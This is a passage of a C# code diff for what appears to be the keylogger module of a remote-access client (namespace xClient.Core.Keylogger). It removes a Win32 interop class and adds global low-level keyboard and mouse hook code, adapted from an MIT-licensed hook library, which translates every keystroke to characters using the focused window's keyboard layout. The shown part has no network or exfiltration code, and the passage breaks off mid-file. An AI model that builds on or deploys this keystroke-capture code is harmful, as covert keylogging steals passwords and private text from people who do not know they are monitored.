/// <param name="mouseInfo">A MouseStruct containing information from which to construct MouseEventExtArgs.</param>
/// <returns>A new MouseEventExtArgs object.</returns>
private static MouseEventExtArgs FromRawDataUniversal(IntPtr wParam, MouseStruct mouseInfo)
{
MouseButtons button = MouseButtons.None;
short mouseDelta = 0;
int clickCount = 0;
bool isMouseKeyDown = false;
bool isMouseKeyUp = false;
switch ((long) wParam)
{
case Messages.WM_LBUTTONDOWN:
isMouseKeyDown = true;
button = MouseButtons.Left;
clickCount = 1;
break;
case Messages.WM_LBUTTONUP:
isMouseKeyUp = true;
button = MouseButtons.Left;
clickCount = 1;
break;
case Messages.WM_LBUTTONDBLCLK:
isMouseKeyDown = true;
button = MouseButtons.Left;
clickCount = 2;
break;
case Messages.WM_RBUTTONDOWN:
isMouseKeyDown = true;
button = MouseButtons.Right;
clickCount = 1;
break;
case Messages.WM_RBUTTONUP:
isMouseKeyUp = true;
button = MouseButtons.Right;
clickCount = 1;
break;
case Messages.WM_RBUTTONDBLCLK:
isMouseKeyDown = true;
button = MouseButtons.Right;
clickCount = 2;
break;
case Messages.WM_MBUTTONDOWN:
isMouseKeyDown = true;
button = MouseButtons.Middle;
clickCount = 1;
break;
case Messages.WM_MBUTTONUP:
isMouseKeyUp = true;
button = MouseButtons.Middle;
clickCount = 1;
break;
case Messages.WM_MBUTTONDBLCLK:
isMouseKeyDown = true;
button = MouseButtons.Middle;
clickCount = 2;
break;
case Messages.WM_MOUSEWHEEL:
mouseDelta = mouseInfo.MouseData;
break;
case Messages.WM_XBUTTONDOWN:
button = mouseInfo.MouseData == 1
? MouseButtons.XButton1
: MouseButtons.XButton2;
isMouseKeyDown = true;
clickCount = 1;
break;
case Messages.WM_XBUTTONUP:
button = mouseInfo.MouseData == 1
? MouseButtons.XButton1
: MouseButtons.XButton2;
isMouseKeyUp = true;
clickCount = 1;
break;
case Messages.WM_XBUTTONDBLCLK:
isMouseKeyDown = true;
button = mouseInfo.MouseData == 1
? MouseButtons.XButton1
: MouseButtons.XButton2;
clickCount = 2;
break;
case Messages.WM_MOUSEHWHEEL:
mouseDelta = mouseInfo.MouseData;
break;
}
var e = new MouseEventExtArgs(
button,
clickCount,
mouseInfo.Point,
mouseDelta,
mouseInfo.Timestamp,
isMouseKeyDown,
isMouseKeyUp);
return e;
}
internal MouseEventExtArgs ToDoubleClickEventArgs()
{
return new MouseEventExtArgs(Button, 2, Point, Delta, Timestamp, IsMouseKeyDown, IsMouseKeyUp);
}
}
}

View File

@ -1,64 +0,0 @@
using System;
using System.Runtime.InteropServices;
using System.Text;
namespace xClient.Core.Keylogger
{
/// <summary>
/// Provides calls to Native code for functions in the keylogger.
/// </summary>
public static class Win32
{
/// <summary>
/// Translates (maps) a virtual-key code into a scan code or character value,
/// or translates a scan code into a virtual-key code. The function
/// translates the codes using the input language and an input locale identifier.
/// </summary>
/// <param name="uCode">The virtual-key code or scan code for a key</param>
/// <param name="uMapType">The translation to perform.</param>
/// <param name="dwhkl"></param>
/// <returns>Returns </returns>
[DllImport("user32.dll", CharSet = CharSet.Unicode, EntryPoint = "MapVirtualKeyExW", ExactSpelling = true)]
internal static extern int MapVirtualKeyExW(int uCode, int uMapType, IntPtr dwhkl);
[DllImport("user32.dll")]
internal static extern short GetAsyncKeyState(KeyloggerKeys vKey);
// The value passed to GetAsyncKeyState is scan code, so we need to translate
// the data to virtual code, then to unicode character, then we can log to
// the file.
[DllImport("user32.dll")]
internal static extern short GetAsyncKeyState(int vKey);
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
internal static extern int GetWindowText(int hWnd, StringBuilder lpString, int nMaxCount);
[DllImport("user32.dll", CharSet = CharSet.Unicode, ExactSpelling = true)]
internal static extern int ToUnicodeEx(int wVirtKey, uint wScanCode, byte[] lpKeyState, StringBuilder pwszBuff,
int cchBuff, uint wFlags, IntPtr dwhkl);
[DllImport("user32.dll")]
internal static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll")]
internal static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId);
[DllImport("user32.dll", ExactSpelling = true)]
internal static extern IntPtr GetKeyboardLayout(uint threadId);
[DllImport("kernel32.dll")]
internal static extern IntPtr LoadLibrary(string lpFileName);
[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)]
internal static extern IntPtr SetWindowsHookEx(int hookID, Logger.HookProcDelegate callback, IntPtr hInstance, int threadID);
[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)]
internal static extern bool UnhookWindowsHookEx(IntPtr hookHandle);
[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
internal static extern int CallNextHookEx(IntPtr hookHandle, int nCode, int wParam, ref Logger.KeyData lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
internal static extern IntPtr GetModuleHandle(string lpModuleName);
}
}

View File

@ -0,0 +1,70 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System;
using System.Runtime.InteropServices;
namespace xClient.Core.Keylogger.WinApi
{
/// <summary>
/// The AppMouseStruct structure contains information about a application-level mouse input event.
/// </summary>
/// <remarks>
/// See full documentation at http://globalmousekeyhook.codeplex.com/wikipage?title=MouseStruct
/// </remarks>
[StructLayout(LayoutKind.Explicit)]
internal struct AppMouseStruct
{
/// <summary>
/// Specifies a Point structure that contains the X- and Y-coordinates of the cursor, in screen coordinates.
/// </summary>
[FieldOffset(0x00)] public Point Point;
/// <summary>
/// Specifies information associated with the message.
/// </summary>
/// <remarks>
/// The possible values are:
/// <list type="bullet">
/// <item>
/// <description>0 - No Information</description>
/// </item>
/// <item>
/// <description>1 - X-Button1 Click</description>
/// </item>
/// <item>
/// <description>2 - X-Button2 Click</description>
/// </item>
/// <item>
/// <description>120 - Mouse Scroll Away from User</description>
/// </item>
/// <item>
/// <description>-120 - Mouse Scroll Toward User</description>
/// </item>
/// </list>
/// </remarks>
#if IS_X64
[FieldOffset(0x22)]
#else
[FieldOffset(0x16)]
#endif
public Int16 MouseData;
/// <summary>
/// Converts the current <see cref="AppMouseStruct" /> into a <see cref="MouseStruct" />.
/// </summary>
/// <returns></returns>
/// <remarks>
/// The AppMouseStruct does not have a timestamp, thus one is generated at the time of this call.
/// </remarks>
public MouseStruct ToMouseStruct()
{
MouseStruct tmp = new MouseStruct();
tmp.Point = Point;
tmp.MouseData = MouseData;
tmp.Timestamp = Environment.TickCount;
return tmp;
}
}
}

View File

@ -0,0 +1,30 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System;
namespace xClient.Core.Keylogger.WinApi
{
internal struct CallbackData
{
private readonly IntPtr m_LParam;
private readonly IntPtr m_WParam;
public CallbackData(IntPtr wParam, IntPtr lParam)
{
m_WParam = wParam;
m_LParam = lParam;
}
public IntPtr WParam
{
get { return m_WParam; }
}
public IntPtr LParam
{
get { return m_LParam; }
}
}
}

View File

@ -0,0 +1,101 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Runtime.InteropServices;
using xClient.Core.Keylogger.Implementation;
namespace xClient.Core.Keylogger.WinApi
{
internal static class HookHelper
{
public static HookResult HookAppMouse(Callback callback)
{
return HookApp(HookIds.WH_MOUSE, callback);
}
public static HookResult HookAppKeyboard(Callback callback)
{
return HookApp(HookIds.WH_KEYBOARD, callback);
}
public static HookResult HookGlobalMouse(Callback callback)
{
return HookGlobal(HookIds.WH_MOUSE_LL, callback);
}
public static HookResult HookGlobalKeyboard(Callback callback)
{
return HookGlobal(HookIds.WH_KEYBOARD_LL, callback);
}
private static HookResult HookApp(int hookId, Callback callback)
{
HookProcedure hookProcedure = (code, param, lParam) => HookProcedure(code, param, lParam, callback);
var hookHandle = HookNativeMethods.SetWindowsHookEx(
hookId,
hookProcedure,
IntPtr.Zero,
ThreadNativeMethods.GetCurrentThreadId());
if (hookHandle.IsInvalid)
{
ThrowLastUnmanagedErrorAsException();
}
return new HookResult(hookHandle, hookProcedure);
}
private static HookResult HookGlobal(int hookId, Callback callback)
{
HookProcedure hookProcedure = (code, param, lParam) => HookProcedure(code, param, lParam, callback);
var hookHandle = HookNativeMethods.SetWindowsHookEx(
hookId,
hookProcedure,
Process.GetCurrentProcess().MainModule.BaseAddress,
0);
if (hookHandle.IsInvalid)
{
ThrowLastUnmanagedErrorAsException();
}
return new HookResult(hookHandle, hookProcedure);
}
private static IntPtr HookProcedure(int nCode, IntPtr wParam, IntPtr lParam, Callback callback)
{
var passThrough = nCode != 0;
if (passThrough)
{
return CallNextHookEx(nCode, wParam, lParam);
}
var callbackData = new CallbackData(wParam, lParam);
var continueProcessing = callback(callbackData);
if (!continueProcessing)
{
return new IntPtr(-1);
}
return CallNextHookEx(nCode, wParam, lParam);
}
private static IntPtr CallNextHookEx(int nCode, IntPtr wParam, IntPtr lParam)
{
return HookNativeMethods.CallNextHookEx(IntPtr.Zero, nCode, wParam, lParam);
}
private static void ThrowLastUnmanagedErrorAsException()
{
var errorCode = Marshal.GetLastWin32Error();
throw new Win32Exception(errorCode);
}
}
}

View File

@ -0,0 +1,30 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
namespace xClient.Core.Keylogger.WinApi
{
internal static class HookIds
{
/// <summary>
/// Installs a hook procedure that monitors mouse messages. For more information, see the MouseProc hook procedure.
/// </summary>
internal const int WH_MOUSE = 7;
/// <summary>
/// Installs a hook procedure that monitors keystroke messages. For more information, see the KeyboardProc hook
/// procedure.
/// </summary>
internal const int WH_KEYBOARD = 2;
/// <summary>
/// Windows NT/2000/XP/Vista/7: Installs a hook procedure that monitors low-level mouse input events.
/// </summary>
internal const int WH_MOUSE_LL = 14;
/// <summary>
/// Windows NT/2000/XP/Vista/7: Installs a hook procedure that monitors low-level keyboard input events.
/// </summary>
internal const int WH_KEYBOARD_LL = 13;
}
}

View File

@ -0,0 +1,89 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System;
using System.Runtime.InteropServices;
namespace xClient.Core.Keylogger.WinApi
{
internal static class HookNativeMethods
{
/// <summary>
/// The CallNextHookEx function passes the hook information to the next hook procedure in the current hook chain.
/// A hook procedure can call this function either before or after processing the hook information.
/// </summary>
/// <param name="idHook">This parameter is ignored.</param>
/// <param name="nCode">[in] Specifies the hook code passed to the current hook procedure.</param>
/// <param name="wParam">[in] Specifies the wParam value passed to the current hook procedure.</param>
/// <param name="lParam">[in] Specifies the lParam value passed to the current hook procedure.</param>
/// <returns>This value is returned by the next hook procedure in the chain.</returns>
/// <remarks>
/// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/windowing/hooks/hookreference/hookfunctions/setwindowshookex.asp
/// </remarks>
[DllImport("user32.dll", CharSet = CharSet.Auto,
CallingConvention = CallingConvention.StdCall)]
internal static extern IntPtr CallNextHookEx(
IntPtr idHook,
int nCode,
IntPtr wParam,
IntPtr lParam);
/// <summary>
/// The SetWindowsHookEx function installs an application-defined hook procedure into a hook chain.
/// You would install a hook procedure to monitor the system for certain types of events. These events
/// are associated either with a specific thread or with all threads in the same desktop as the calling thread.
/// </summary>
/// <param name="idHook">
/// [in] Specifies the type of hook procedure to be installed. This parameter can be one of the following values.
/// </param>
/// <param name="lpfn">
/// [in] Pointer to the hook procedure. If the dwThreadId parameter is zero or specifies the identifier of a
/// thread created by a different process, the lpfn parameter must point to a hook procedure in a dynamic-link
/// library (DLL). Otherwise, lpfn can point to a hook procedure in the code associated with the current process.
/// </param>
/// <param name="hMod">
/// [in] Handle to the DLL containing the hook procedure pointed to by the lpfn parameter.
/// The hMod parameter must be set to NULL if the dwThreadId parameter specifies a thread created by
/// the current process and if the hook procedure is within the code associated with the current process.
/// </param>
/// <param name="dwThreadId">
/// [in] Specifies the identifier of the thread with which the hook procedure is to be associated.
/// If this parameter is zero, the hook procedure is associated with all existing threads running in the
/// same desktop as the calling thread.
/// </param>
/// <returns>
/// If the function succeeds, the return value is the handle to the hook procedure.
/// If the function fails, the return value is NULL. To get extended error information, call GetLastError.
/// </returns>
/// <remarks>
/// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/windowing/hooks/hookreference/hookfunctions/setwindowshookex.asp
/// </remarks>
[DllImport("user32.dll", CharSet = CharSet.Auto,
CallingConvention = CallingConvention.StdCall, SetLastError = true)]
internal static extern HookProcedureHandle SetWindowsHookEx(
int idHook,
HookProcedure lpfn,
IntPtr hMod,
int dwThreadId);
/// <summary>
/// The UnhookWindowsHookEx function removes a hook procedure installed in a hook chain by the SetWindowsHookEx
/// function.
/// </summary>
/// <param name="idHook">
/// [in] Handle to the hook to be removed. This parameter is a hook handle obtained by a previous call to
/// SetWindowsHookEx.
/// </param>
/// <returns>
/// If the function succeeds, the return value is nonzero.
/// If the function fails, the return value is zero. To get extended error information, call GetLastError.
/// </returns>
/// <remarks>
/// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/windowing/hooks/hookreference/hookfunctions/setwindowshookex.asp
/// </remarks>
[DllImport("user32.dll", CharSet = CharSet.Auto,
CallingConvention = CallingConvention.StdCall, SetLastError = true)]
internal static extern int UnhookWindowsHookEx(IntPtr idHook);
}
}

View File

@ -0,0 +1,40 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System;
namespace xClient.Core.Keylogger.WinApi
{
/// <summary>
/// The CallWndProc hook procedure is an application-defined or library-defined callback
/// function used with the SetWindowsHookEx function. The HOOKPROC type defines a pointer
/// to this callback function. CallWndProc is a placeholder for the application-defined
/// or library-defined function name.
/// </summary>
/// <param name="nCode">
/// [in] Specifies whether the hook procedure must process the message.
/// If nCode is HC_ACTION, the hook procedure must process the message.
/// If nCode is less than zero, the hook procedure must pass the message to the
/// CallNextHookEx function without further processing and must return the
/// value returned by CallNextHookEx.
/// </param>
/// <param name="wParam">
/// [in] Specifies whether the message was sent by the current thread.
/// If the message was sent by the current thread, it is nonzero; otherwise, it is zero.
/// </param>
/// <param name="lParam">
/// [in] Pointer to a CWPSTRUCT structure that contains details about the message.
/// </param>
/// <returns>
/// If nCode is less than zero, the hook procedure must return the value returned by CallNextHookEx.
/// If nCode is greater than or equal to zero, it is highly recommended that you call CallNextHookEx
/// and return the value it returns; otherwise, other applications that have installed WH_CALLWNDPROC
/// hooks will not receive hook notifications and may behave incorrectly as a result. If the hook
/// procedure does not call CallNextHookEx, the return value should be zero.
/// </returns>
/// <remarks>
/// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/windowing/hooks/hookreference/hookfunctions/callwndproc.asp
/// </remarks>
public delegate IntPtr HookProcedure(int nCode, IntPtr wParam, IntPtr lParam);
}

View File

@ -0,0 +1,31 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System.Windows.Forms;
using Microsoft.Win32.SafeHandles;
namespace xClient.Core.Keylogger.WinApi
{
internal class HookProcedureHandle : SafeHandleZeroOrMinusOneIsInvalid
{
private static bool _closing;
static HookProcedureHandle()
{
Application.ApplicationExit += (sender, e) => { _closing = true; };
}
public HookProcedureHandle()
: base(true)
{
}
protected override bool ReleaseHandle()
{
//NOTE Calling Unhook during processexit causes deley
if (_closing) return true;
return HookNativeMethods.UnhookWindowsHookEx(handle) != 0;
}
}
}

View File

@ -0,0 +1,35 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System;
namespace xClient.Core.Keylogger.WinApi
{
internal class HookResult : IDisposable
{
private readonly HookProcedureHandle m_Handle;
private readonly HookProcedure m_Procedure;
public HookResult(HookProcedureHandle handle, HookProcedure procedure)
{
m_Handle = handle;
m_Procedure = procedure;
}
public HookProcedureHandle Handle
{
get { return m_Handle; }
}
public HookProcedure Procedure
{
get { return m_Procedure; }
}
public void Dispose()
{
m_Handle.Dispose();
}
}
}

View File

@ -0,0 +1,43 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System.Runtime.InteropServices;
namespace xClient.Core.Keylogger.WinApi
{
/// <summary>
/// The KeyboardHookStruct structure contains information about a low-level keyboard input event.
/// </summary>
/// <remarks>
/// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/windowing/hooks/hookreference/hookstructures/cwpstruct.asp
/// </remarks>
[StructLayout(LayoutKind.Sequential)]
internal struct KeyboardHookStruct
{
/// <summary>
/// Specifies a virtual-key code. The code must be a value in the range 1 to 254.
/// </summary>
public int VirtualKeyCode;
/// <summary>
/// Specifies a hardware scan code for the key.
/// </summary>
public int ScanCode;
/// <summary>
/// Specifies the extended-key flag, event-injected flag, context code, and transition-state flag.
/// </summary>
public int Flags;
/// <summary>
/// Specifies the Time stamp for this message.
/// </summary>
public int Time;
/// <summary>
/// Specifies extra information associated with the message.
/// </summary>
public int ExtraInfo;
}
}

View File

@ -0,0 +1,352 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System;
using System.Runtime.InteropServices;
using System.Text;
using System.Windows.Forms;
using xClient.Core.Keylogger.Implementation;
namespace xClient.Core.Keylogger.WinApi
{
internal static class KeyboardNativeMethods
{
//values from Winuser.h in Microsoft SDK.
public const byte VK_SHIFT = 0x10;
public const byte VK_CAPITAL = 0x14;
public const byte VK_NUMLOCK = 0x90;
public const byte VK_LSHIFT = 0xA0;
public const byte VK_RSHIFT = 0xA1;
public const byte VK_LCONTROL = 0xA2;
public const byte VK_RCONTROL = 0xA3;
public const byte VK_LMENU = 0xA4;
public const byte VK_RMENU = 0xA5;
public const byte VK_LWIN = 0x5B;
public const byte VK_RWIN = 0x5C;
public const byte VK_SCROLL = 0x91;
public const byte VK_INSERT = 0x2D;
//may be possible to use these aggregates instead of L and R separately (untested)
public const byte VK_CONTROL = 0x11;
public const byte VK_MENU = 0x12;
public const byte VK_PACKET = 0xE7;
//Used to pass Unicode characters as if they were keystrokes. The VK_PACKET key is the low word of a 32-bit Virtual Key value used for non-keyboard input methods
/// <summary>
/// Translates a virtual key to its character equivalent using the current keyboard layout without knowing the
/// scancode in advance.
/// </summary>
/// <param name="virtualKeyCode"></param>
/// <param name="fuState"></param>
/// <param name="chars"></param>
/// <returns></returns>
internal static bool TryGetCharFromKeyboardState(int virtualKeyCode, int fuState, out char[] chars)
{
var dwhkl = GetActiveKeyboard();
int scanCode = MapVirtualKeyEx(virtualKeyCode, (int) MapType.MAPVK_VK_TO_VSC, dwhkl);
return TryGetCharFromKeyboardState(virtualKeyCode, scanCode, fuState, dwhkl, out chars);
}
/// <summary>
/// Translates a virtual key to its character equivalent using the current keyboard layout
/// </summary>
/// <param name="virtualKeyCode"></param>
/// <param name="scanCode"></param>
/// <param name="fuState"></param>
/// <param name="chars"></param>
/// <returns></returns>
internal static bool TryGetCharFromKeyboardState(int virtualKeyCode, int scanCode, int fuState, out char[] chars)
{
var dwhkl = GetActiveKeyboard(); //get the active keyboard layout
return TryGetCharFromKeyboardState(virtualKeyCode, scanCode, fuState, dwhkl, out chars);
}
/// <summary>
/// Translates a virtual key to its character equivalent using a specified keyboard layout
/// </summary>
/// <param name="virtualKeyCode"></param>
/// <param name="scanCode"></param>
/// <param name="fuState"></param>
/// <param name="dwhkl"></param>
/// <param name="chars"></param>
/// <returns></returns>
internal static bool TryGetCharFromKeyboardState(int virtualKeyCode, int scanCode, int fuState, IntPtr dwhkl, out char[] chars)
{
StringBuilder pwszBuff = new StringBuilder(64);
KeyboardState keyboardState = KeyboardState.GetCurrent();
byte[] currentKeyboardState = keyboardState.GetNativeState();
var relevantChars = ToUnicodeEx(virtualKeyCode, scanCode, currentKeyboardState, pwszBuff, pwszBuff.Capacity, fuState, dwhkl);
switch (relevantChars)
{
case -1:
ClearKeyboardBuffer(virtualKeyCode, scanCode, dwhkl);
chars = null;
return false;
case 0:
chars = null;
return false;
case 1:
chars = new[] {pwszBuff[0]};
break;
// Two or more (only two of them is relevant)
default:
chars = new[] { pwszBuff[0], pwszBuff[1] };
break;
}
var isDownShift = keyboardState.IsDown(Keys.ShiftKey);
var isToggledCapsLock = keyboardState.IsToggled(Keys.CapsLock);
for (int i = 0; i < chars.Length; i++)
{
var ch = chars[i];
if ((isToggledCapsLock ^ isDownShift) && Char.IsLetter(ch))
{
chars[i] = Char.ToUpper(ch);
}
}
return true;
}
private static void ClearKeyboardBuffer(int vk, int sc, IntPtr hkl)
{
var sb = new StringBuilder(10);
int rc;
do
{
byte[] lpKeyStateNull = new Byte[255];
rc = ToUnicodeEx(vk, sc, lpKeyStateNull, sb, sb.Capacity, 0, hkl);
} while (rc < 0);
}
/// <summary>
/// Gets the input locale identifier for the active application's thread. Using this combined with the ToUnicodeEx and
/// MapVirtualKeyEx enables Windows to properly translate keys based on the keyboard layout designated for the
/// application.
/// </summary>
/// <returns>HKL</returns>
private static IntPtr GetActiveKeyboard()
{
IntPtr hActiveWnd = ThreadNativeMethods.GetForegroundWindow(); //handle to focused window
int dwProcessId;
int hCurrentWnd = ThreadNativeMethods.GetWindowThreadProcessId(hActiveWnd, out dwProcessId);
//thread of focused window
return GetKeyboardLayout(hCurrentWnd); //get the layout identifier for the thread whose window is focused
}
/// <summary>
/// The ToAscii function translates the specified virtual-key code and keyboard
/// state to the corresponding character or characters. The function translates the code
/// using the input language and physical keyboard layout identified by the keyboard layout handle.
/// </summary>
/// <param name="uVirtKey">
/// [in] Specifies the virtual-key code to be translated.
/// </param>
/// <param name="uScanCode">
/// [in] Specifies the hardware scan code of the key to be translated.
/// The high-order bit of this value is set if the key is up (not pressed).
/// </param>
/// <param name="lpbKeyState">
/// [in] Pointer to a 256-byte array that contains the current keyboard state.
/// Each element (byte) in the array contains the state of one key.
/// If the high-order bit of a byte is set, the key is down (pressed).
/// The low bit, if set, indicates that the key is toggled on. In this function,
/// only the toggle bit of the CAPS LOCK key is relevant. The toggle state
/// of the NUM LOCK and SCROLL LOCK keys is ignored.
/// </param>
/// <param name="lpwTransKey">
/// [out] Pointer to the buffer that receives the translated character or characters.
/// </param>
/// <param name="fuState">
/// [in] Specifies whether a menu is active. This parameter must be 1 if a menu is active, or 0 otherwise.
/// </param>
/// <returns>
/// If the specified key is a dead key, the return value is negative. Otherwise, it is one of the following values.
/// Value Meaning
/// 0 The specified virtual key has no translation for the current state of the keyboard.
/// 1 One character was copied to the buffer.
/// 2 Two characters were copied to the buffer. This usually happens when a dead-key character
/// (accent or diacritic) stored in the keyboard layout cannot be composed with the specified
/// virtual key to form a single character.
/// </returns>
/// <remarks>
/// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/userinput/keyboardinput/keyboardinputreference/keyboardinputfunctions/toascii.asp
/// </remarks>
[Obsolete("Use ToUnicodeEx instead")]
[DllImport("user32")]
public static extern int ToAscii(
int uVirtKey,
int uScanCode,
byte[] lpbKeyState,
byte[] lpwTransKey,
int fuState);
/// <summary>
/// Translates the specified virtual-key code and keyboard state to the corresponding Unicode character or characters.
/// </summary>
/// <param name="wVirtKey">[in] The virtual-key code to be translated.</param>
/// <param name="wScanCode">
/// [in] The hardware scan code of the key to be translated. The high-order bit of this value is
/// set if the key is up.
/// </param>
/// <param name="lpKeyState">
/// [in, optional] A pointer to a 256-byte array that contains the current keyboard state. Each
/// element (byte) in the array contains the state of one key. If the high-order bit of a byte is set, the key is down.
/// </param>
/// <param name="pwszBuff">
/// [out] The buffer that receives the translated Unicode character or characters. However, this
/// buffer may be returned without being null-terminated even though the variable name suggests that it is
/// null-terminated.
/// </param>
/// <param name="cchBuff">[in] The size, in characters, of the buffer pointed to by the pwszBuff parameter.</param>
/// <param name="wFlags">
/// [in] The behavior of the function. If bit 0 is set, a menu is active. Bits 1 through 31 are
/// reserved.
/// </param>
/// <param name="dwhkl">The input locale identifier used to translate the specified code.</param>
/// <returns>
/// -1 &lt;= return &lt;= n
/// <list type="bullet">
/// <item>
/// -1 = The specified virtual key is a dead-key character (accent or diacritic). This value is returned
/// regardless of the keyboard layout, even if several characters have been typed and are stored in the
/// keyboard state. If possible, even with Unicode keyboard layouts, the function has written a spacing version
/// of the dead-key character to the buffer specified by pwszBuff. For example, the function writes the
/// character SPACING ACUTE (0x00B4), rather than the character NON_SPACING ACUTE (0x0301).
/// </item>
/// <item>
/// 0 = The specified virtual key has no translation for the current state of the keyboard. Nothing was
/// written to the buffer specified by pwszBuff.
/// </item>
/// <item> 1 = One character was written to the buffer specified by pwszBuff.</item>
/// <item>
/// n = Two or more characters were written to the buffer specified by pwszBuff. The most common cause
/// for this is that a dead-key character (accent or diacritic) stored in the keyboard layout could not be
/// combined with the specified virtual key to form a single character. However, the buffer may contain more
/// characters than the return value specifies. When this happens, any extra characters are invalid and should
/// be ignored.
/// </item>
/// </list>
/// </returns>
[DllImport("user32")]
public static extern int ToUnicodeEx(int wVirtKey,
int wScanCode,
byte[] lpKeyState,
[Out, MarshalAs(UnmanagedType.LPWStr, SizeConst = 64)] StringBuilder pwszBuff,
int cchBuff,
int wFlags,
IntPtr dwhkl);
/// <summary>
/// The GetKeyboardState function copies the status of the 256 virtual keys to the
/// specified buffer.
/// </summary>
/// <param name="pbKeyState">
/// [in] Pointer to a 256-byte array that contains keyboard key states.
/// </param>
/// <returns>
/// If the function succeeds, the return value is nonzero.
/// If the function fails, the return value is zero. To get extended error information, call GetLastError.
/// </returns>
/// <remarks>
/// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/userinput/keyboardinput/keyboardinputreference/keyboardinputfunctions/toascii.asp
/// </remarks>
[DllImport("user32")]
public static extern int GetKeyboardState(byte[] pbKeyState);
/// <summary>
/// The GetKeyState function retrieves the status of the specified virtual key. The status specifies whether the key is
/// up, down, or toggled
/// (on, off—alternating each time the key is pressed).
/// </summary>
/// <param name="vKey">
/// [in] Specifies a virtual key. If the desired virtual key is a letter or digit (A through Z, a through z, or 0
/// through 9), nVirtKey must be set to the ASCII value of that character. For other keys, it must be a virtual-key
/// code.
/// </param>
/// <returns>
/// The return value specifies the status of the specified virtual key, as follows:
/// If the high-order bit is 1, the key is down; otherwise, it is up.
/// If the low-order bit is 1, the key is toggled. A key, such as the CAPS LOCK key, is toggled if it is turned on. The
/// key is off and untoggled if the low-order bit is 0. A toggle key's indicator light (if any) on the keyboard will be
/// on when the key is toggled, and off when the key is untoggled.
/// </returns>
/// <remarks>http://msdn.microsoft.com/en-us/library/ms646301.aspx</remarks>
[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
public static extern short GetKeyState(int vKey);
/// <summary>
/// Translates (maps) a virtual-key code into a scan code or character value, or translates a scan code into a
/// virtual-key code.
/// </summary>
/// <param name="uCode">
/// [in] The virtual key code or scan code for a key. How this value is interpreted depends on the
/// value of the uMapType parameter.
/// </param>
/// <param name="uMapType">
/// [in] The translation to be performed. The value of this parameter depends on the value of the
/// uCode parameter.
/// </param>
/// <param name="dwhkl">[in] The input locale identifier used to translate the specified code.</param>
/// <returns></returns>
[DllImport("user32.dll", CharSet = CharSet.Auto)]
internal static extern int MapVirtualKeyEx(int uCode, int uMapType, IntPtr dwhkl);
/// <summary>
/// Retrieves the active input locale identifier (formerly called the keyboard layout) for the specified thread.
/// If the idThread parameter is zero, the input locale identifier for the active thread is returned.
/// </summary>
/// <param name="dwLayout">[in] The identifier of the thread to query, or 0 for the current thread. </param>
/// <returns>
/// The return value is the input locale identifier for the thread. The low word contains a Language Identifier for the
/// input
/// language and the high word contains a device handle to the physical layout of the keyboard.
/// </returns>
[DllImport("user32.dll", CharSet = CharSet.Auto)]
internal static extern IntPtr GetKeyboardLayout(int dwLayout);
/// <summary>
/// MapVirtualKeys uMapType
/// </summary>
internal enum MapType
{
/// <summary>
/// uCode is a virtual-key code and is translated into an unshifted character value in the low-order word of the return
/// value. Dead keys (diacritics) are indicated by setting the top bit of the return value. If there is no translation,
/// the function returns 0.
/// </summary>
MAPVK_VK_TO_VSC,
/// <summary>
/// uCode is a virtual-key code and is translated into a scan code. If it is a virtual-key code that does not
/// distinguish between left- and right-hand keys, the left-hand scan code is returned. If there is no translation, the
/// function returns 0.
/// </summary>
MAPVK_VSC_TO_VK,
/// <summary>
/// uCode is a scan code and is translated into a virtual-key code that does not distinguish between left- and
/// right-hand keys. If there is no translation, the function returns 0.
/// </summary>
MAPVK_VK_TO_CHAR,
/// <summary>
/// uCode is a scan code and is translated into a virtual-key code that distinguishes between left- and right-hand
/// keys. If there is no translation, the function returns 0.
/// </summary>
MAPVK_VSC_TO_VK_EX
}
}
}

View File

@ -0,0 +1,123 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
namespace xClient.Core.Keylogger.WinApi
{
internal static class Messages
{
//values from Winuser.h in Microsoft SDK.
/// <summary>
/// The WM_MOUSEMOVE message is posted to a window when the cursor moves.
/// </summary>
public const int WM_MOUSEMOVE = 0x200;
/// <summary>
/// The WM_LBUTTONDOWN message is posted when the user presses the left mouse button
/// </summary>
